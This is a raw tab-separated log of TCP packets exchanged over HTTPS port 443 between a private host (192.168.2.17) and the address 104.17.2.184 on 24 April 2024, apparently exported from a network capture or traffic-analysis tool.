Apr 24, 2024 15:43:08.560097933 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.652627945 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.652643919 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.652708054 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.652729988 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.652796030 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.652834892 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.652858973 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.653299093 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.653376102 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.653608084 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.653687000 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.654604912 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.654680967 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.654694080 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.654758930 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.654784918 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.654948950 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.655008078 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.655019999 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.655190945 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.655247927 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.655261040 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.655359030 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.655420065 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.655467033 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.655494928 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.659579992 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.659657955 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.659751892 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.660027027 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.660048008 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.851397038 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.851697922 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.851716995 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.852385998 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.852889061 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.852968931 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.853116035 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.900120020 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.974541903 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.974883080 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.974947929 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.976188898 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.979247093 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.979382992 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.979398012 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.979433060 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.023109913 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.221915960 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222033024 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222099066 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.222110987 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222137928 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222182035 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.222213030 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222359896 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222400904 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.222408056 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222577095 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222623110 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.222628117 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222786903 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.222835064 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.222841024 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223067045 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223112106 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.223118067 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223387957 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223439932 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.223445892 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223510027 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223551035 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.223556995 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223782063 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.223829031 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.223835945 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224092960 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224153042 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.224159956 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224416018 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224464893 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.224471092 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224646091 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224703074 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.224709034 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224910021 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.224951982 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.224957943 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225173950 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225224972 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.225230932 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225490093 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225534916 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.225539923 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225790024 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225840092 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.225847006 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.225963116 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226036072 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.226042032 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226183891 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226227045 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.226233006 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226423979 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226474047 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.226480007 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226640940 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226739883 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.226746082 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226916075 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.226969004 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.226974964 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.227219105 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.227263927 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.227271080 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.227392912 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.227432966 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.227438927 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.227643967 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.227689028 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.227694988 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.228209019 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.228261948 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.228267908 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.228420019 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.228486061 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.228492022 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.228883982 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.228935003 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.228940964 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229166031 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229217052 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.229222059 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229283094 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229336977 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.229343891 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229615927 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229684114 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.229691029 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229919910 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.229971886 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.229978085 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230133057 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230174065 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.230179071 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230340004 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230387926 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.230392933 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230681896 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230732918 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.230740070 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230906010 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.230946064 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.230952024 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.231112957 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.231153965 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.231161118 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.279081106 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.279100895 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.327090025 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.327685118 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.327850103 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.327989101 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.328603983 CEST	49755	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.328629971 CEST	443	49755	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.374583960 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375427961 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375495911 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.375509977 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375597954 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375639915 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.375646114 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375727892 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375768900 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.375773907 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375871897 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.375911951 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.375917912 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376008987 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376060963 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.376066923 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376669884 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376720905 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.376727104 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376838923 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376876116 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.376882076 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376949072 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.376985073 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.376992941 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.377574921 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.377635956 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.377641916 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.377742052 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.377780914 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.377787113 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.378428936 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.378487110 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.378493071 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.378571033 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.378608942 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.378613949 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.378689051 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.378748894 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.378753901 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.379354000 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.379405975 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.379410982 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.379524946 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.379564047 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.379570007 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.379654884 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.379694939 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.379699945 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.380352974 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.380413055 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.380419970 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.380525112 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.380570889 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.380577087 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.380667925 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.380703926 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.380709887 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.381206036 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.381259918 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.381266117 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.381357908 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.381398916 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.381405115 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.381467104 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.381510973 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.381515980 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382141113 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382189035 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.382194042 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382292986 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382339001 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.382344007 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382425070 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382464886 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.382469893 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.382992983 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383080006 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.383085966 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383192062 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383229017 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.383234978 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383290052 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383328915 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.383333921 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383858919 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.383914948 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.383920908 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384690046 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384732008 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384742975 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.384748936 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384793997 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.384799004 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384846926 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384893894 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.384898901 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.384983063 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.385039091 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.385045052 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.438097954 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.486682892 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.486725092 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.486816883 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.487018108 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.487031937 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.528729916 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529021978 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529083967 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.529098034 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529300928 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529352903 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.529360056 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529570103 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529728889 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529807091 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.529814005 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.529917955 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.529922962 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530039072 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530138969 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.530145884 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530416012 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530473948 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.530479908 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530621052 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530679941 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.530684948 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.530837059 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531042099 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531050920 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.531069994 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531111002 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.531153917 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531421900 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531512022 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.531517029 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531632900 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531676054 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.531681061 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531913996 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.531960964 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.531966925 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532146931 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532349110 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532407999 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.532416105 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532454014 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.532459021 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532722950 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532785892 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.532792091 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.532984972 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533072948 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.533077955 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533245087 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533302069 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.533308029 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533574104 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533634901 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.533639908 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533847094 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.533904076 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.533909082 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.534053087 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.534097910 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.534102917 CEST	443	49754	104.17.2.184	192.168.2.17
